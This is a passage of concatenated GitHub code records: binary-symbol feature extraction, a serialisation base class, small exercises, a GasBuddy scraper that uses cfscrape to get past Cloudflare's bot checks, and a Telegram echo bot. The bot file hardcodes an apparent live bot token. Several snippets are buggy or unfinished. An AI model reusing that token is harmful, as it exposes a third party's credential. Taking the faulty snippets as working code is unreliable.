pmf = counter.to_npvec_prob((dim, 1), name_to_index)\n    pmf = P.normalise_numpy_density(pmf)\n    \"\"\"\n    prob = 0.0\n    assert(len(matched) > 0)\n    if len(matched) > 0:\n        prob = 1.0 / float(len(matched))\n\n    pmf = np.zeros( (dim, 1), dtype=np.float)\n    for name in matched:\n        pmf[ name_to_index[name] ] = prob\n    \"\"\"\n\n    if \"hash\" in feature:\n        value = binascii.unhexlify( value )\n\n    feature_name = feature.replace(\".\", \"_\")\n    db.client[feature_name + '_pmfs'].insert( { feature_name : value, 'pmf' : numpy_to_bytes( pmf ) } )\n    logger.info(\"{} :: Inserted pmf for {}::{}\".format( sys._getframe().f_code.co_name, feature, value ))\n\ndef extract_all_vex_vectors():\n    db = Database()\n    #groupby = { '$group' : { '_id' : { '$concatArrays' : [ '$vex.operations', '$vex.expressions', '$vex.statements' ] } } }\n    groupby = { '$group' : { '_id' : { 'operations' :'$vex.operations', 'expressions' : '$vex.expressions', 'statements' : '$vex.statements' }, 'names' : { '$push' : '$name' } } }\n    unique_vex = db.run_mongo_aggregate( train_query + [ groupby ] )\n    return unique_vex\n\ndef create_vex_pmf( vex ):\n    opers_dim = 17\n    exprs_dim = 10\n    stmts_dim = 5\n\n    opers = vex['_id']['operations']\n    exprs = vex['_id']['expressions']\n    stmts = vex['_id']['statements']\n\n    #pmf_from_features([ 'vex.operations', 'vex.expressions', 'vex.statements' ], [ opers, exprs, stmts ])\n    #build a pmf for this\n    _o = np.matrix(opers).reshape( (opers_dim, 1) )\n    _e = np.matrix(exprs).reshape( (exprs_dim, 1) )\n    _s = np.matrix(stmts).reshape( (stmts_dim, 1) )\n\n    vec = functools.reduce(lambda x, y: np.vstack( (x, y) ), [ _o, _e, _s  ] )\n\n    counts = classes.counter.dCounter()\n    for name in vex['names']:\n        counts += name \n\n    pmf = counts.to_npvec_prob((dim, 1), name_to_index)\n    pmf = P.normalise_numpy_density(pmf)\n    return vec, pmf\n\ndef build_vex_vectors():\n    opers_dim = 17\n    exprs_dim = 10\n    stmts_dim = 5\n\n    annoy_db_fname = cfg.desyl + \"/res/\" + \"vex_annoy.tree\"\n\n    vec_dim = opers_dim + exprs_dim + stmts_dim\n\n    index_to_vector = {}\n    vector_to_index = {}\n    \n    count = 0\n    t = AnnoyIndex( vec_dim )\n\n    unique_vex = extract_all_vex_vectors()\n    mp = Pool(32)\n    res = mp.map( create_vex_pmf, unique_vex)\n\n    for vec, pmf in res:\n        vec_name = classes.utils.list_to_string( vec.tolist() )\n        \n        r, c = np.shape(pmf)\n        assert(c == 1)\n        assert(r == dim)\n        r = np.where( pmf > 0.0 )\n        assert(len(r) > 0 )\n        db.client['vex_pmfs'].insert({'vex': vec_name, 'pmf': numpy_to_bytes(pmf) })\n\n        if vec_name in vector_to_index:\n            assert(False)\n        else:\n            logger.info(\"Adding vector {}\".format(vec_name) )\n            t.add_item( count, vec )\n            index_to_vector[ count ] = vec_name\n            vector_to_index[ vec_name ] = count\n            count += 1\n\n    t.build(4 * vec_dim)\n    t.save(annoy_db_fname)\n\n    classes.utils.save_py_obj(index_to_vector, \"index_to_vector\")\n    classes.utils.save_py_obj(vector_to_index, \"vector_to_index\")\n\n\n\ndef build_feature_pmfs(db, feature):\n    logger.info(\"Building PMFs for feature: {}\".format(feature))\n    all_feature_values = db._distinct_field(feature, 'symbols', pre_query=train_query)\n    for f_val in all_feature_values:\n        pmf_from_feature(db, feature, f_val)\n\ndef build_feature_pmfs_threaded(feature):\n    proc_pool = Pool(processes=32)\n    procs, results = [], []\n\n    logger.info(\"Building PMFs for feature: {}\".format(feature))\n    if feature in [ \"callees\", \"callers\"]:\n        all_feature_values = db._distinct_field_len(feature, 'symbols', pre_query=train_query)\n    else:\n        all_feature_values = db._distinct_field(feature, 'symbols', pre_query=train_query)\n    logger.info(\"Found {} distinct values...\".format( len(all_feature_values) ) )\n    logger.info(\"Building PMFs for values...\")\n\n\n    #split into 32 lists\n    #each process will create a separate conn to db\n    for values in classes.utils.n_chunks(all_feature_values, 32):\n        #res = proc_pool.apply_async(pmfs_from_feature, (feature , values), callback=_infer_res, error_callback=_infer_err)\n        #procs.append(res)\n        pmfs_from_feature(feature , values)\n        #, callback=_infer_res, error_callback=_infer_err)\n        #procs.append(res)\n\n\n    for p in procs:\n        while True:\n            p.wait(1)\n            if p.ready():\n                results.append(p.get())\n                break\n\n    logger.info(\"Built PMFs for {}\".format(feature))\n\ndef _infer_err(err):\n    logger.error(\"ERROR INFERRING SYMBOL! {} {}\".format( err))\n    logger.error(\"YOU FUCKED UP!\")\n\n#thanks, now delete local copy of memory\ndef _infer_res(res):\n    pass\n    #gc.collect()\n\n\ndef drop_pmfs(db, features):\n    assert(isinstance(features, list))\n    for feature in features:\n        feature_name = feature.replace(\".\", \"_\") + \"_pmfs\"\n        logger.info(\"Dropping {}\".format(feature_name) )\n        db.client[feature_name].drop()\n        #import IPython\n        #IPython.embed()\n\ndef build_crf_features(config, name_to_index, symbol_names):\n\n    logger.info(\"Loading all CGs...\")\n    comps   = '|'.join( list(map(lambda x: re.escape(x), config.train.compilers)) )\n    ops     = '|'.join( list(map(lambda x: re.escape(x), config.train.optimisations)) )\n    links   = '|'.join( list(map(lambda x: re.escape(x), config.train.linkages)) )\n    bins    = '|'.join( list(map(lambda x: re.escape(x), config.train.bin_names)) )\n    archs   = '|'.join( list(map(lambda x: \"bin-\" + re.escape(x).lower(), config.train.archs)) )\n\n    #special condition for x86_64\n    archs = archs.replace(\"bin-x86_64\", \"bin\")\n\n    pattern = r\".*({})_({})_({})_o({})_({}).*\".format(archs, links, comps, ops, bins)\n\n    GG = crf.crfs.load_all_cgs(config, pattern)\n    #GG = crf.crfs.mp_load_all_cgs(config, pattern)\n    config.logger.info(\"Loaded all CGs\")\n\n    config.logger.info(len(symbol_names))\n    #0th callgraph is the node itself!\n    #for i in [1, 2, 3]:\n    for i in [1, 2]:\n        logger.info(\"Building n={} degree callgraph relations\".format(i))\n        callees, callers, callees_count, callers_count = crf.crfs.build_nth_from_cg(config, symbol_names, GG, i, name_to_index)\n        classes.utils.save_py_obj( config, callees, \"{}_degree_cg\".format(i))\n        classes.utils.save_py_obj( config, callers, \"{}_degree_cgr\".format(i))\n        classes.utils.save_py_obj( config, callees_count, \"{}_degree_cg_count\".format(i))\n        classes.utils.save_py_obj( config, callers_count, \"{}_degree_cgr_count\".format(i))\n      \n\ndef build_crf_features_debian(config, name_to_index, symbol_names):\n    crf.crfs.build_rels_from_db(config, symbol_names, name_to_index)\n    return\n\n    pattern = r\".*debian_.*\"\n\n    GG = crf.crfs.load_all_cgs(config, pattern)\n    #GG = crf.crfs.mp_load_all_cgs(config, pattern)\n    config.logger.info(\"Loaded all CGs\")\n\n    import IPython\n    IPython.embed()\n\n    config.logger.info(len(symbol_names))\n    #0th callgraph is the node itself!\n    #for i in [1, 2, 3]:\n    for i in [1, 2]:\n        logger.info(\"Building n={} degree callgraph relations\".format(i))\n        callees, callers, callees_count, callers_count = crf.crfs.build_nth_from_cg(config, symbol_names, GG, i, name_to_index)\n        classes.utils.save_py_obj( config, callees, \"{}_degree_cg\".format(i))\n        classes.utils.save_py_obj( config, callers, \"{}_degree_cgr\".format(i))\n        classes.utils.save_py_obj( config, callees_count, \"{}_degree_cg_count\".format(i))\n        classes.utils.save_py_obj( config, callers_count, \"{}_degree_cgr_count\".format(i))\n\ndef build_cg_ff_mats_from_db(config, name_to_index, symbol_names):\n    dim = len(symbol_names)\n    cg_mat = scipy.sparse.csr_matrix( (dim, dim), dtype=np.float128 )\n    cgr_mat = scipy.sparse.csr_matrix( (dim, dim), dtype=np.float128 )\n    xrefs = db.get_all_xrefs()\n    for xr in xrefs:\n        ind = name_to_index[ xr['name'] ]\n        import IPython\n        IPython.embed()\n        if xr['type'] == 'callee':\n            cg_mat[ ind, : ] = classes.pmfs.PMF.bytes_to_scipy_sparse( xr['pmf'] ).todense()\n\n        elif xr['type'] == 'caller':\n            cgr_mat[ ind, : ] = classes.pmfs.PMF.bytes_to_scipy_sparse( xr['pmf'] ).todense()\n\n        else:\n            raise Exception(\"Unknown type of relationship\")\n\n    classes.utils.save_py_obj( config, cg_mat, \"1_degree_cg\".format(i))\n    classes.utils.save_py_obj( config, cgr_mat, \"1_degree_cgr\".format(i))\n        \ndef gen_new_symbol_indexes(db):\n    distinct_symbols = set( db.distinct_symbol_names() )\n    symbs_from_rels = db.flatten_callees_callers()\n    distinct_symbols = list( distinct_symbols.union( set(symbs_from_rels) ) )\n    dim = len(distinct_symbols)\n    logger.info(\"Found {} unique symbol names!\".format( dim ))\n\n    symbol_to_index = dict( map( lambda x: [distinct_symbols[x], x], range(dim)) )\n    index_to_symbol = dict( map( lambda x: [x, distinct_symbols[x]], range(dim)) )\n    return distinct_symbols, symbol_to_index, index_to_symbol\n\n\ndef build_and_save_symbol_name_indexes(db, config):\n    config.logger.info(\"Generating distinct symbols and indexes...\")\n    symbol_names, name_to_index, index_to_name = gen_new_symbol_indexes(db)\n\n    classes.utils.save_py_obj( config, symbol_names, \"symbol_names\")\n    classes.utils.save_py_obj( config, name_to_index, \"name_to_index\")\n    classes.utils.save_py_obj( config, index_to_name, \"index_to_name\")\n\nif __name__ == \"__main__\":\n\n    REGEN_SYMBOL_NAME_INDEXES = False\n    REBUILD_CGS = False\n\n    config = classes.config.Config()\n    logger = config.logger\n    logger.setLevel(logging.INFO)\n    db = classes.database.Database(config)\n\n    #known = db.get_known_symbol_names()\n    #unknown = set(db.distinct_symbol_names()) - known\n    #import IPython\n    #IPython.embed()\n\n    if REGEN_SYMBOL_NAME_INDEXES:\n        #new mapping for symbol name -> index\n        build_and_save_symbol_name_indexes(db, config)\n\n    if REBUILD_CGS:\n        crf.crfs.build_all_cgs(db)\n\n    #load new mapping\n    name_to_index = classes.utils.load_py_obj(config, 'name_to_index')\n    index_to_name = classes.utils.load_py_obj(config, 'index_to_name')\n    symbol_names = classes.utils.load_py_obj(config, 'symbol_names')\n\n\n\n    #fake gindex\n    classes.utils.save_py_obj(config, None, 'id_to_gindex')\n    classes.utils.save_py_obj(config, None, 'gid_to_annoydb_id')\n    classes.utils.save_py_obj(config, None, 'index_to_vector')\n    classes.utils.save_py_obj(config, None, 'vector_to_index')\n\n    #train_bins = classes.utils.load_py_obj(\"train_bins\")\n    #test_bins = classes.utils.load_py_obj(\"test_bins\")\n\n    train_query_config  = config.train\n    test_query_config   = config.test\n\n    #global train_query\n    #global test_query\n    #global P\n    #P = classes.pmfs.PMF(config)\n    #train_query = Database.gen_query(train_query_config.__dict__)\n    #test_query  = Database.gen_query(test_query_config.__dict__)\n\n    #print(train_query)\n\n\n    assert(len(name_to_index) == len(index_to_name))\n    dim = len(name_to_index)\n\n    #drop_pmfs(db, [ \"size\", \"hash\", \"opcode_hash\", \"vex.ntemp_vars\", \"vex.ninstructions\", 'vex_operations_vex_expressions_vex_statements', 'callers', 'callees', 'vex' ] )\n    #drop_pmfs(db, [ 'vex_operations_vex_expressions_vex_statements_pmfs'] )\n\n    #build_vex_vectors()\n    #for f in [ \"size\", \"hash\", \"opcode_hash\", \"vex.ntemp_vars\", \"vex.ninstructions\", \"callers\", \"callees\" ]:\n    #    build_feature_pmfs_threaded(f)\n\n    #build_crf_features(config, name_to_index, symbol_names)\n    build_crf_features_debian(config, name_to_index, symbol_names)\n    #build_cg_ff_mats_from_db(config, name_to_index, symbol_names)\n","repo_name":"punstrip/punstrip","sub_path":"src/preprocessing/build_feature_sets.py","file_name":"build_feature_sets.py","file_ext":"py","file_size_in_byte":15633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"12295226925","text":"#!/usr/bin/python3\n\n\"\"\"Holds the model for the base class\"\"\"\n\n\nimport json\nimport os\nimport csv\nimport turtle\ntry:\n    from .GenFunc import create_dictionary, myvars\nexcept Exception:\n    from GenFunc import create_dictionary, myvars\n\n\nclass Base:\n    \"\"\"\n    The above class is a base class that provides methods for\n    serializing and deserializing objects, saving objects to files,\n    and drawing rectangles and squares using the turtle module.\n    \"\"\"\n    __nb_objects = 0\n\n    def __init__(self, id=None):\n        \"\"\"\n        initializes an object with an optional ID,\n        assigning a unique ID if none is provided.\n\n        Args:\n          id: An optional parameter that can be passed to the constructor\n            of the class. If a value is provided for \"id\", it will be\n            assigned to the \"id\" attribute of the object. If no value is\n            provided, the \"id\" attribute will be assigned the value of\n            the __nb_objects\n        \"\"\"\n        Base.__nb_objects += 1\n        if id is not None:\n            self.id = id\n        else:\n            self.id = Base.__nb_objects\n\n    @staticmethod\n    def to_json_string(list_dictionaries):\n        \"\"\"\n        converts a list of dictionaries into a JSON string.\n\n        Args:\n          list_dictionaries: A list of dictionaries that you want to\n          convert to a JSON string.\n\n        Returns:\n          a JSON string representation of the input list of dictionaries.\n          If the input list is empty, it returns \"[]\". Otherwise, it uses\n          the json.dumps() function to convert the list of dictionaries\n          into a JSON string.\n        \"\"\"\n        if not list_dictionaries:\n            return \"[]\"\n        else:\n            return json.dumps(list_dictionaries)\n\n    @staticmethod\n    def from_json_string(json_string):\n        \"\"\"\n        converts a JSON string into a Python object.\n\n        Args:\n          json_string: The `json_string` parameter is a string that\n          represents a JSON object or array.\n\n        Returns:\n          a list.\n        \"\"\"\n        if not json_string or json_string is None:\n            return []\n        else:\n            return json.loads(json_string)\n\n    @classmethod\n    def save_to_file(cls, list_objs):\n        \"\"\"\n        The function saves a list of objects to a JSON file.\n\n        Args:\n          cls: The parameter `cls` refers to the class object\n            itself. It is used to access class-level attributes\n            and methods.\n          list_objs: The parameter `list_objs` is a list of objects\n            that you want to save to a file. The objects in the list\n            should be instances of the class `cls`.\n        \"\"\"\n        class_name = cls.__name__\n        with open(f\"{class_name}.json\", \"w\", encoding=\"utf-8\") as file:\n            ret = []\n            if list_objs is None:\n                file.write(cls.to_json_string([]))\n            else:\n                for i in list_objs:\n                    ret.append(i.to_dictionary())\n                file.write(cls.to_json_string(ret))\n\n    @classmethod\n    def save_to_file_csv(cls, list_objs):\n        \"\"\"\n        saves a list of objects to a CSV file by converting each object\n        to a dictionary and writing the dictionary values to the file.\n\n        Args:\n          cls: The parameter `cls` is a reference to the class object.\n            It is used to determine the name of the class for the filename.\n          list_objs: The parameter `list_objs` is a list of objects that\n            you want to save to a CSV file. Each object in the list\n            should have a method `to_dictionary()` that returns a dictionary\n            representation of the object's attributes.\n        \"\"\"\n        class_name = cls.__name__\n        with open(f\"{class_name}.csv\", \"w\", encoding=\"utf-8\") as file:\n            ret = []\n            col_names = []\n            for i in list_objs:\n                ret.append(i.to_dictionary())\n            writer = csv.writer(file)\n            for value in ret:\n                lent = []\n                for k, v in value.items():\n                    lent.append(v)\n                writer.writerow(lent)\n\n    @classmethod\n    def create(cls, **dictionary):\n        \"\"\"\n        creates an instance of a class (either Rectangle or Square) and\n          updates its attributes using a dictionary.\n\n        Args:\n          cls: The parameter `cls` is a reference to the class that is\n            being instantiated. It is used to determine which class to\n            create an instance of (either `Rectangle` or `Square`).\n\n        Returns:\n          an instance of either the Rectangle or Square class, depending\n          on the value of `cls.__name__`.\n        \"\"\"\n        dummy = None\n        if cls.__name__ == \"Rectangle\":\n            dummy = cls(1, 2)\n        elif cls.__name__ == \"Square\":\n            dummy = cls(1)\n\n        dummy.update(**dictionary)\n        return dummy\n\n    @classmethod\n    def load_from_file(cls):\n        \"\"\"\n        loads data from a JSON file and returns a list of objects\n          created from the loaded data.\n\n        Args:\n          cls: The parameter `cls` is a reference to the class itself.\n            It is used to access class attributes and methods within\n            the method.\n\n        Returns:\n          The method is returning a list of objects created from the\n          data read from the file.\n        \"\"\"\n        file_name = f\"{cls.__name__}.json\"\n        if os.path.exists(file_name):\n            with open(file_name, \"r\", encoding=\"utf-8\") as file:\n                data = file.read()\n                r = [cls.create(**item) for item in cls.from_json_string(data)]\n                return r\n        else:\n            return []\n\n    @classmethod\n    def load_from_file_csv(cls):\n        \"\"\"\n        loads data from a CSV file and creates instances of a\n          class based on the data.\n\n        Args:\n          cls: The parameter `cls` is a reference to the class\n            that the method is being called on. It is used to\n            determine the name of the file to load data from and\n            to create instances of the class using the loaded data.\n\n        Returns:\n          a list of objects created from the data read from\n          the CSV file.\n        \"\"\"\n        file_name = f\"{cls.__name__}.csv\"\n        if not os.path.exists(file_name):\n            return []\n\n        with open(file_name, \"r\", encoding=\"utf-8\") as file:\n            reader = csv.reader(file)\n            name = []\n            if cls.__name__ == \"Rectangle\":\n                name = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n            elif cls.__name__ == \"Square\":\n                name = [\"id\", \"size\", \"x\", \"y\"]\n\n            data = []\n            for row in reader:\n                dic = create_dictionary(name, row)\n                data.append(dic)\n\n        return [cls.create(**item) for item in data]\n\n    @staticmethod\n    def draw(list_rectangles, list_squares):\n        \"\"\"\n        takes in a list of rectangles and a list of squares,\n        and uses the turtle module to draw each shape on\n        the screen.\n\n        Args:\n          list_rectangles: A list of rectangle objects. Each\n            rectangle object should have the following attributes:\n          list_squares: A list of square objects. Each square object\n            should have the following attributes:\n        \"\"\"\n        screen = turtle.Screen()\n        screen.bgcolor(\"white\")\n\n        pen = turtle.Turtle()\n\n        for rect in list_rectangles:\n            pen.penup()\n            pen.goto(rect.x, rect.y)\n            pen.pendown()\n            for _ in range(2):\n                pen.forward(rect.width)\n                pen.left(90)\n                pen.forward(rect.height)\n                pen.left(90)\n\n        for square in list_squares:\n            pen.penup()\n            pen.goto(square.x, square.y)\n            pen.pendown()\n            for _ in range(4):\n                pen.forward(square.size)\n                pen.left(90)\n\n        screen.mainloop()\n","repo_name":"Okeomasilchi/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":8029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"43395053983","text":"n = int(input())\n\narr = list(map(int, input().rstrip().split()))\nflag=True\narr1=list(arr)\narr1.sort()\nl=[]\nfor i in range(n):\n    if arr1[i]!=arr[i]:\n        l.append(i)\n\nif len(l)==0:\n    print(\"yes\\n\")\nelif len(l)==2:\n    print(\"yes\\nswap\",l[0]+1,l[1]+1)\nelse:\n    first=l[0]\n    second=l[-1]\n    while(first<second):\n        arr[first],arr[second]=arr[second],arr[first]\n        first+=1\n        second-=1\n    for i in range(n):\n        if (arr1!=arr):\n            print(\"no\")\n            break\n    print(\"yes\\nrevese\", l[0]+1, l[len(l)-1]+1 )\n\n","repo_name":"chetanpant11/HackerRankCompetitiveProgramming","sub_path":"Almost Sorted.py","file_name":"Almost Sorted.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43454817647","text":"from bs4 import BeautifulSoup\nimport cfscrape\n\n\n\nclass GasScraper:\n    def __init__(self, zipcode):\n        self.zipcode = zipcode\n        self.ids = {\n            \"div\": \"GenericStationListItem-module__stationListItem___3Jmn4\",\n            \"h3\": \"header__header3___1b1oq header__header___1zII0 header__midnight___1tdCQ header__snug___lRSNK StationDisplay-module__stationNameHeader___1A2q8\",\n            \"price\": \"text__xl___2MXGo text__left___1iOw3 StationDisplayPrice-module__price___3rARL\",\n            \"address\": \"StationDisplay-module__address___2_c7v\",\n        }\n        self.__create()\n\n    def __create(self):\n        self.soup = self.__make_soup(self.zipcode)\n        self.prices = self.__create_prices()\n        self.price_values = list(map(lambda x: x[\"price\"], self.prices.values()))\n\n    def __make_soup(self, zipcode):\n        url = (\n            f\"https://www.gasbuddy.com/home?search={zipcode}&fuel=1&maxAge=0&method=all\"\n        )\n        scrapper = cfscrape.create_scraper()\n        html = scrapper.get(url).content\n        return BeautifulSoup(html, \"lxml\")\n\n    def __create_prices(self):\n        divs = self.soup.findAll(\"div\", class_=self.ids[\"div\"])\n        len_divs = len(divs)\n        prices = {}\n\n        for div in divs:\n            h3 = div.find(\"h3\", class_=self.ids[\"h3\"])\n            gasStation = h3.a.text\n            price = div.find(\"span\", class_=self.ids[\"price\"]).text\n            address = div.find(\"div\", class_=self.ids[\"address\"]).text\n\n            for i in range(len_divs):\n                if price != \"---\":\n                    prices[gasStation] = {\n                        \"price\": float(price[1:]),\n                        \"address\": address,\n                    }\n\n        return prices\n        \n    def get_prices(self):\n        return self.prices\n\n    def get_highest_price(self):\n        maximum = max(self.price_values)\n        index = self.price_values.index(maximum)\n        station = list(self.prices.keys())[index]\n        address = self.prices[station][\"address\"]\n        address_link = f\"https://www.google.com/maps/search/?api=1&query={address.replace(' ', '+')}\"\n\n        return {\n            station: {\n                \"price\": maximum,\n                \"address\": address,\n                \"address_link\": address_link,\n            }\n        }\n\n    def get_lowest_price(self):\n        minimum = min(self.price_values)\n        index = self.price_values.index(minimum)\n        station = list(self.prices.keys())[index]\n        address = self.prices[station][\"address\"]\n        address_link = f\"https://www.google.com/maps/search/?api=1&query={address.replace(' ', '+')}\"\n\n        return {\n            station: {\n                \"price\": minimum,\n                \"address\": address,\n                \"address_link\": address_link,\n            }\n        }\n\n    def get_average_price(self):\n        average = round(sum(self.price_values) / len(self.price_values), 2)\n        return average\n\n    def set_zipcode(self, zipcode):\n        self.zipcode = zipcode\n        self._create()\n\n\nif __name__ == \"__main__\":\n    zipcode = input(\"Enter your zipcode: \")\n\n    scraper = GasScraper(zipcode)\n\n    print(scraper.get_lowest_price())\n    print()\n    print(scraper.get_highest_price())\n    print()\n    print(scraper.get_average_price())\n","repo_name":"Luke-Pitstick/gasPriceMessager","sub_path":"gaspricemessager/util/GasScraper.py","file_name":"GasScraper.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3688103962","text":"import turtle\r\nBob=turtle.Turtle()\r\n\r\n\r\ndef polygon(t, n, length):\r\n    for i in range(n):\r\n        t.fd(length)\r\n        t.lt(360/n)\r\n\r\ndef triangle(t, n, length):\r\n    for i in range(3):\r\n        t.lt(((n-2)*180)/2)\r\n        t.fd(length)\r\n        t.lt(360/n)\r\n        t.fd\r\n\r\nturtle.mainloop()","repo_name":"Psami-wondah/Documents","sub_path":"polygon.py","file_name":"polygon.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28746693955","text":"# Given two sorted arrays arr1[] of size N and arr2[] of size M. \r\n# Each array is sorted in non-decreasing order. Merge the two arrays \r\n# into one sorted array in non-decreasing order without using any extra\r\n#  space.\r\n\r\ndef merge( arr1, arr2, n, m): \r\n    i=0\r\n    j=0\r\n    k=n-1\r\n    while (i<=k and j<m):\r\n        if arr1[i]<arr2[j]:\r\n            i+=1\r\n        else:\r\n            arr1[k],arr2[j]=arr2[j],arr1[k]\r\n            j+=1\r\n            k-=1\r\n    arr1.sort()\r\n    arr2.sort()\r\n    return arr1+arr2\r\n\r\n\r\narr1 = [ 1, 5, 9, 10, 15, 20 ]\r\narr2 = [ 2, 3, 8, 13 ]\r\nprint(merge(arr1,arr2,len(arr1),len(arr2)))","repo_name":"sudh29/Data-Structure-Code","sub_path":"Array/12_merge2sortedarray.py","file_name":"12_merge2sortedarray.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19309681776","text":"import random\n\ndef menu():\n    print(\"\\n ESTADISTICAS:\")\n    \n\ndef cargar_encuesta(v_numero,v_color,v_edad,v_preferencia,cant):\n    colores = \"Negro\", \"Blanco\", \"Azul\"\n    preferencia = \"Cuero\", \"Tela\"\n    for i in range(cant):\n        v_numero.append(random.randint(35,40))\n        v_color.append(random.choice(colores))\n        v_edad.append(random.randint(10,25))\n        v_preferencia.append(random.choice(preferencia))\n              \ndef mostrar_encuesta(v_numero,v_color,v_edad,v_preferencia,cant):\n    pass\n\ndef main():\n    v_numero = []\n    v_color = []\n    v_edad = []\n    v_preferencia = []\n    v_demanda = None\n    opc = -1\n\n    cargar_encuesta(v_numero,v_color,v_edad,v_preferencia)\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"franAndrad/python-src","sub_path":"clases/f18_e5.py","file_name":"f18_e5.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"32522087433","text":"import numpy as np\nfrom itertools import product\n\n\ninstances = []\ndata = []\n\n# create instance\nfor i in range(200):\n    instances.append(['category', f'c{i}'])\n\nfor i in range(10):\n    instances.append(['bank', f'b{i}'])\n\n# save instance\nnp.save('Data/reL_model_instances', np.array(instances))\n\n# generate data\nidx_category = np.random.choice(200, 50, replace=False)\nfor i in idx_category[:20]:\n    data.append([f'market,c{i}', np.clip(np.random.normal(-50, 20), -100, 100)])\nfor i in idx_category[30:]:\n    data.append([f'market,c{i}', np.clip(np.random.normal(30, 20), -100, 100)])\n\nidx_category = np.random.choice(idx_category, 10, replace=False)\nidx_bank = np.random.choice(10, 4, replace=False)\nfor i, j in product(idx_category, idx_bank):\n    data.append([f'loss,c{i},b{j}', np.clip(np.random.normal(0, 20), -50, 50)])\n\nidx_bank = np.random.choice(10, 6, replace=False)\nfor i in idx_bank:\n    data.append([f'revenue,b{i}', np.clip(np.random.normal(0, 20), -50, 50)])\n\n# save data\nnp.save('Data/reL_model_data', np.array(data))\n","repo_name":"leodd/Hybrid-Lifted-Belief-Propagation","sub_path":"Data/RelDataGenerator.py","file_name":"RelDataGenerator.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"14148940828","text":"#!/usr/bin/python\n# Display lake height from NOAA data\n#lcd up arrow -> lcd.create_char(1, [0,15,3,5,9,16,0,0])\n#lcd down arrow -> lcd.create_char(2, [0,16,9,5,3,15,0,0])\nimport math\nimport time\nimport xml.etree.ElementTree as ET\nimport urllib2\nfrom bs4 import BeautifulSoup\nimport Adafruit_CharLCD as LCD\n\ndef lcd_output( str ):\n\t\"\"\"Displays str on LCD display\"\"\"\n\tlcd.clear()\n\tlcd.message( str )\n\treturn\n\ndef get_lake_height(heights):\n\t\"\"\"Get xml array from NOAA\"\"\"\n\ttempHeights = []\n\ttry:\n\t\tresponse = urllib2.urlopen( 'http://water.weather.gov/ahps2/hydrograph_to_xml.php?gage=nvlw3&output=xml' )\n\t\thtml = response.read()\n\t\troot = ET.fromstring( html )\n\t\tfor child in root.iterfind( 'observed/datum/primary' ):\n\t\t\ttempHeights.append( child.text )\n\n\t\treturn tempHeights\n\texcept:\n\t\treturn heights\n\ndef get_wind(prev_wind):\n\t\"\"\"Gets speed of wind from html page\"\"\"\n\ttry:\n\t\turl = 'http://www.windfinder.com/forecast/Edgerton_lake_koshkonong'\n\t\tsoup = BeautifulSoup(urllib2.urlopen( url ).read())\n\t\tspeed = soup.find(\"span\", {\"class\": \"current__wind__speed\"})\n\t\tdirection = soup.find(\"span\", {\"class\": \"current__wind__dir\"})\n\t\treturn {\"Speed\": speed.get_text(), \"Direction\": direction.get_text().strip().replace(\"\\n\", \"\")}\n\texcept:\n\t\treturn prev_wind\n\ndef print_display( height, wind ):\n\t\"\"\"Prints lastest height and wind to LCD\"\"\"\n\tdepth_length = 16 - (len(\"Depth: \") + len(height) + len(\" ft\"))\n\tdepth_space = ' ' * depth_length\n\n\twind_length = 16 - (len(\"Wind: \") + len(wind['Speed']) + len(wind['Direction']) + 1)\n\twind_space = ' ' * wind_length\n\n\tlcd_output( \"Depth: \" + depth_space + height + \" ft\\nWind: \" + wind_space + wind['Speed'] + \" \" + wind['Direction'])\n\n# Initialize LCD\nlcd = LCD.Adafruit_CharLCDPlate()\n\n# Initialize variables\nheights = get_lake_height([0, 0])\nlast_save = time.time()\nwind = get_wind({\"Speed\": \"0\", \"Direction\": \"\"})\nprint_display( heights[0], wind )\n\nwhile True:\n\tif time.time() - last_save > 250:\n\t\twind = get_wind(wind)\n\tif time.time() - last_save > 900:\n\t\theights = get_lake_height(heights)\n\n\t\t# Print to LCD\n\t\tprint_display( heights[0], wind )\n\n\t\t# Updates last lave\n\t\tlast_save = time.time()\n","repo_name":"AdamConverse/lake_height","sub_path":"lake_height.py","file_name":"lake_height.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"33852117587","text":"from Bot import Bot, UpdateHandler\n\n\ndef message_handler(bot, update):\n    \n    msg_reply = {\n        \"hi\": \"hello\",\n        \"how are you?\": \"I am good\"\n    }\n    \n    username = update['message']['from']['username']\n    text = update['message']['text']\n    chat_id = update['message']['chat']['id']\n    \n    print(f'New message from {username}: {text}')\n    \n    reply = msg_reply.get(text.lower(), \"I don't know what to say!\")\n    bot.send_message(chat_id=chat_id, text=reply)\n\n\ndef update_handler(bot, update):\n    \n    if 'message' in update:\n        message_handler(bot, update)\n    \n  \nbot = Bot(token=\"1173786457:AAF_1DO1vdhq9RiQp5hh3NnsVmLcTtsCjRo\")\nupdater = UpdateHandler(bot, timeout=3)\nupdater.register(update_handler)\nupdater.start_polling()\n\n\n","repo_name":"Sh4yy/Telegram-Bot-Tutorial","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
